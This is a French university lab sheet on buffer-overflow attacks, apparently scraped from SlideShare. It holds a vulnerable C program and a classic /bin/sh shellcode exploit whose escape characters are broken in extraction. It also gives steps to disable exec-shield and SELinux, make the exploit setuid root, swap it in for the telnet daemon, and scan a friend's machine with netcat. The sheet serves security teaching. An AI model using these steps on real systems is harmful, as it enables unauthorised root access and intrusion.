SlideShare ist ein Scribd-Unternehmen logo
1 von 3
Downloaden Sie, um offline zu lesen
Master 2 ASR
                       Info 0915 : Sécurité des systèmes d'informations

                                        TP - Durée 2h
                                  www.yassine-benkirane.com
                                    Attaque Buffer Overflow
                                     Yassine BENKIRANE

Comprendre le principe de l'attaque :

I-Local exploit :

1.Récupérer l'image Fedora du site ci-dessous et l'installer à l'aide de VirtualBox :
http://ftp.free.fr/mirrors/fedora.redhat.com/fedora/linux/releases/14/Live/i686/Fedora-14-i686-Live-
Desktop.iso

2.Lancer un terminal en tant que root


3.Essayer de désactiver le patch exec-shield vu dans le cours. (google est votre ami!)


4.Installer le compilateur GCC à l'aide de la commande yum (pas d'apt-get ou aptitude on
travaille avec des packages de REDHAT )


5.Soit le programme suivant :


#include <stdio.h>

void demander_nom() {

char buffer_nom[20];

printf("Entrez votre nomn");

scanf("%s",&buffer_nom);

printf("Votre nom est %sn",buffer_nom);

}

int main() {

demander_nom();

return 0;

}

-Compilez ce programme avec gcc (en tant que simple user)tout en mettant un nom dépassant les 20
caractères.
Quesque vous remarquez ?


-Déboguer le programme à l'aide du débogeur gdb tout en mettant un nom dépassant les 20
caractéres.

N.B :Utiliser l'option 'r' du débogueur.

         Quelle est l'adresse de retour que vous obtenez ?

-Essayez de visualisez l'adresse Hex du registre EIP en utilisant toujours le débogueur gdb.

Rappel: Registre eip comprend l'adresse de la prochaine instruction à exécuter

         Quesque vous remarquez ?

6.Soit le code suivant :

#include <stdio.h>

#include <string.h>

char shellcode[] =

"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

"x80xe8xdcxffxffxff/bin/sh";

char large_string[128];

int main(int argc, char **argv){

char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

for (i = 0; i < (int) strlen(shellcode); i++)

large_string[i] = shellcode[i];
strcpy(buffer, large_string);
return 0;
}
-Compilez le programme en tant que simple user?Avez vous obtenu un shell en tant que root ?

      ==Utiliser la commande appropriée pour vérifier==

      -Rendez le programme propriétaire de root et attribué à l'exploit le bit SETUID.

      -Re-executer le programme ? Êtes vous root ?

      -Le bit setuid par sécurité ne s'attribue plus aux fichiers exécutables d'une façon si limpide écrivez
      un petit programme en bash pour contourner ce problème afin que votre exploit ai le bit SETUID
      (google est votre ami!).

      -Attribuez maintenant à votre nouveau programme le bit SETUID ainsi qu'il soit ''owner'' par root.

      -Re-éxecuter le programme et vérifiez si cette fois-ci si vous êtes vraiment root ?


      II-Remote exploit :

      1-Installer le serveur telnet à l'aide de la commande yum.

      2-Configurez ce dernier :

               ==>Mettez le en mode enable

               ==>Remplacer le démon in.telnetd par notre exploit

               ==>Redémarrer le serveur et assurer vous qu'il est en écoute à l'aide de la commande
                  netstat.(Faites un telnet localhost pour tester la connexion)

      N.B:Si jamais vous avez un ''connection closes by foreign host pensez à désactiver le Selinux (C'est quoi==>google)

      3-Test de l'exploit à distance :

               ==>Jetez un coup d'oeil sur l'outil netcut (man nc)

               ==>Faites un netcut sur l'un de vos amis

      N.B:Utiliser netcut pour savoir si quelqu'un dans le réseau a le port 23 en écoute.




Afin d'avoir la correction de ce tp et ainsi un tutoriel illustré et pas à pas des différentes


étapes de ce tp rendez vous sur :

                                          http://www.amazon.com/dp/B00AWHGIIE

Weitere ähnliche Inhalte

Andere mochten auch

Projet «AAL-Arc Jurassien F/CH»
Projet «AAL-Arc Jurassien F/CH»Projet «AAL-Arc Jurassien F/CH»
Projet «AAL-Arc Jurassien F/CH»Minnovarc
 
Schule, Schulbibliothek, Schulbibliothekar und Lehrer. Wie geht das zusammen?...
Schule, Schulbibliothek, Schulbibliothekar und Lehrer. Wie geht das zusammen?...Schule, Schulbibliothek, Schulbibliothekar und Lehrer. Wie geht das zusammen?...
Schule, Schulbibliothek, Schulbibliothekar und Lehrer. Wie geht das zusammen?...Guenter K. Schlamp
 
Protéger ses données personnelles sur facebook
Protéger ses  données personnelles sur facebookProtéger ses  données personnelles sur facebook
Protéger ses données personnelles sur facebookEPN Gouvy
 
Redes sociales Sesión 4
Redes sociales Sesión 4Redes sociales Sesión 4
Redes sociales Sesión 4Alejandro Caro
 
PEDIDO DOS ANIMAIS
PEDIDO DOS ANIMAISPEDIDO DOS ANIMAIS
PEDIDO DOS ANIMAISeliane_ac
 
Bizarreries langue fr
Bizarreries langue frBizarreries langue fr
Bizarreries langue frTchin-Tchin
 
Attijariwafabank couverture des-prix_des_matières_premières_compensées
Attijariwafabank couverture des-prix_des_matières_premières_compenséesAttijariwafabank couverture des-prix_des_matières_premières_compensées
Attijariwafabank couverture des-prix_des_matières_premières_compenséesBOUTGRA
 
Tg1 grupo c
Tg1 grupo cTg1 grupo c
Tg1 grupo cyefema
 
Historia de las tics
Historia de las ticsHistoria de las tics
Historia de las ticsJaime1598
 
C.v. mauricio zurita vaca
C.v. mauricio zurita vacaC.v. mauricio zurita vaca
C.v. mauricio zurita vacamauriciozurita
 
BFB Club le réseau des partenaires
BFB Club le réseau des partenairesBFB Club le réseau des partenaires
BFB Club le réseau des partenairesVERONIQUE SEVERIN
 
International Journal of Engineering Research and Development
International Journal of Engineering Research and DevelopmentInternational Journal of Engineering Research and Development
International Journal of Engineering Research and DevelopmentIJERD Editor
 
Tp3 présentation
Tp3  présentationTp3  présentation
Tp3 présentationGw012345
 
Motivación en la educación virtual y papel del ple
Motivación en la educación virtual y papel del pleMotivación en la educación virtual y papel del ple
Motivación en la educación virtual y papel del pleCristina González Serna
 

Andere mochten auch (20)

Kochersberg
KochersbergKochersberg
Kochersberg
 
Projet «AAL-Arc Jurassien F/CH»
Projet «AAL-Arc Jurassien F/CH»Projet «AAL-Arc Jurassien F/CH»
Projet «AAL-Arc Jurassien F/CH»
 
Schule, Schulbibliothek, Schulbibliothekar und Lehrer. Wie geht das zusammen?...
Schule, Schulbibliothek, Schulbibliothekar und Lehrer. Wie geht das zusammen?...Schule, Schulbibliothek, Schulbibliothekar und Lehrer. Wie geht das zusammen?...
Schule, Schulbibliothek, Schulbibliothekar und Lehrer. Wie geht das zusammen?...
 
Protéger ses données personnelles sur facebook
Protéger ses  données personnelles sur facebookProtéger ses  données personnelles sur facebook
Protéger ses données personnelles sur facebook
 
Redes sociales Sesión 4
Redes sociales Sesión 4Redes sociales Sesión 4
Redes sociales Sesión 4
 
PEDIDO DOS ANIMAIS
PEDIDO DOS ANIMAISPEDIDO DOS ANIMAIS
PEDIDO DOS ANIMAIS
 
Bizarreries langue fr
Bizarreries langue frBizarreries langue fr
Bizarreries langue fr
 
Attijariwafabank couverture des-prix_des_matières_premières_compensées
Attijariwafabank couverture des-prix_des_matières_premières_compenséesAttijariwafabank couverture des-prix_des_matières_premières_compensées
Attijariwafabank couverture des-prix_des_matières_premières_compensées
 
Agra56
Agra56Agra56
Agra56
 
Tg1 grupo c
Tg1 grupo cTg1 grupo c
Tg1 grupo c
 
Isomeria
IsomeriaIsomeria
Isomeria
 
Historia de las tics
Historia de las ticsHistoria de las tics
Historia de las tics
 
C.v. mauricio zurita vaca
C.v. mauricio zurita vacaC.v. mauricio zurita vaca
C.v. mauricio zurita vaca
 
BFB Club le réseau des partenaires
BFB Club le réseau des partenairesBFB Club le réseau des partenaires
BFB Club le réseau des partenaires
 
Ciberatleta
CiberatletaCiberatleta
Ciberatleta
 
International Journal of Engineering Research and Development
International Journal of Engineering Research and DevelopmentInternational Journal of Engineering Research and Development
International Journal of Engineering Research and Development
 
El cosmo y el universo
El cosmo y el universoEl cosmo y el universo
El cosmo y el universo
 
Tp3 présentation
Tp3  présentationTp3  présentation
Tp3 présentation
 
Oficina 2.0
Oficina 2.0Oficina 2.0
Oficina 2.0
 
Motivación en la educación virtual y papel del ple
Motivación en la educación virtual y papel del pleMotivación en la educación virtual y papel del ple
Motivación en la educación virtual y papel del ple
 

Tuto attaque Buffer Overflow: comment procéder ? tutoriel illustré

  • 1. Master 2 ASR Info 0915 : Sécurité des systèmes d'informations TP - Durée 2h www.yassine-benkirane.com Attaque Buffer Overflow Yassine BENKIRANE Comprendre le principe de l'attaque : I-Local exploit : 1.Récupérer l'image Fedora du site ci-dessous et l'installer à l'aide de VirtualBox : http://ftp.free.fr/mirrors/fedora.redhat.com/fedora/linux/releases/14/Live/i686/Fedora-14-i686-Live- Desktop.iso 2.Lancer un terminal en tant que root 3.Essayer de désactiver le patch exec-shield vu dans le cours. (google est votre ami!) 4.Installer le compilateur GCC à l'aide de la commande yum (pas d'apt-get ou aptitude on travaille avec des packages de REDHAT ) 5.Soit le programme suivant : #include <stdio.h> void demander_nom() { char buffer_nom[20]; printf("Entrez votre nomn"); scanf("%s",&buffer_nom); printf("Votre nom est %sn",buffer_nom); } int main() { demander_nom(); return 0; } -Compilez ce programme avec gcc (en tant que simple user)tout en mettant un nom dépassant les 20 caractères.
  • 2. Quesque vous remarquez ? -Déboguer le programme à l'aide du débogeur gdb tout en mettant un nom dépassant les 20 caractéres. N.B :Utiliser l'option 'r' du débogueur. Quelle est l'adresse de retour que vous obtenez ? -Essayez de visualisez l'adresse Hex du registre EIP en utilisant toujours le débogueur gdb. Rappel: Registre eip comprend l'adresse de la prochaine instruction à exécuter Quesque vous remarquez ? 6.Soit le code suivant : #include <stdio.h> #include <string.h> char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; }
  • 3. -Compilez le programme en tant que simple user?Avez vous obtenu un shell en tant que root ? ==Utiliser la commande appropriée pour vérifier== -Rendez le programme propriétaire de root et attribué à l'exploit le bit SETUID. -Re-executer le programme ? Êtes vous root ? -Le bit setuid par sécurité ne s'attribue plus aux fichiers exécutables d'une façon si limpide écrivez un petit programme en bash pour contourner ce problème afin que votre exploit ai le bit SETUID (google est votre ami!). -Attribuez maintenant à votre nouveau programme le bit SETUID ainsi qu'il soit ''owner'' par root. -Re-éxecuter le programme et vérifiez si cette fois-ci si vous êtes vraiment root ? II-Remote exploit : 1-Installer le serveur telnet à l'aide de la commande yum. 2-Configurez ce dernier : ==>Mettez le en mode enable ==>Remplacer le démon in.telnetd par notre exploit ==>Redémarrer le serveur et assurer vous qu'il est en écoute à l'aide de la commande netstat.(Faites un telnet localhost pour tester la connexion) N.B:Si jamais vous avez un ''connection closes by foreign host pensez à désactiver le Selinux (C'est quoi==>google) 3-Test de l'exploit à distance : ==>Jetez un coup d'oeil sur l'outil netcut (man nc) ==>Faites un netcut sur l'un de vos amis N.B:Utiliser netcut pour savoir si quelqu'un dans le réseau a le port 23 en écoute. Afin d'avoir la correction de ce tp et ainsi un tutoriel illustré et pas à pas des différentes étapes de ce tp rendez vous sur : http://www.amazon.com/dp/B00AWHGIIE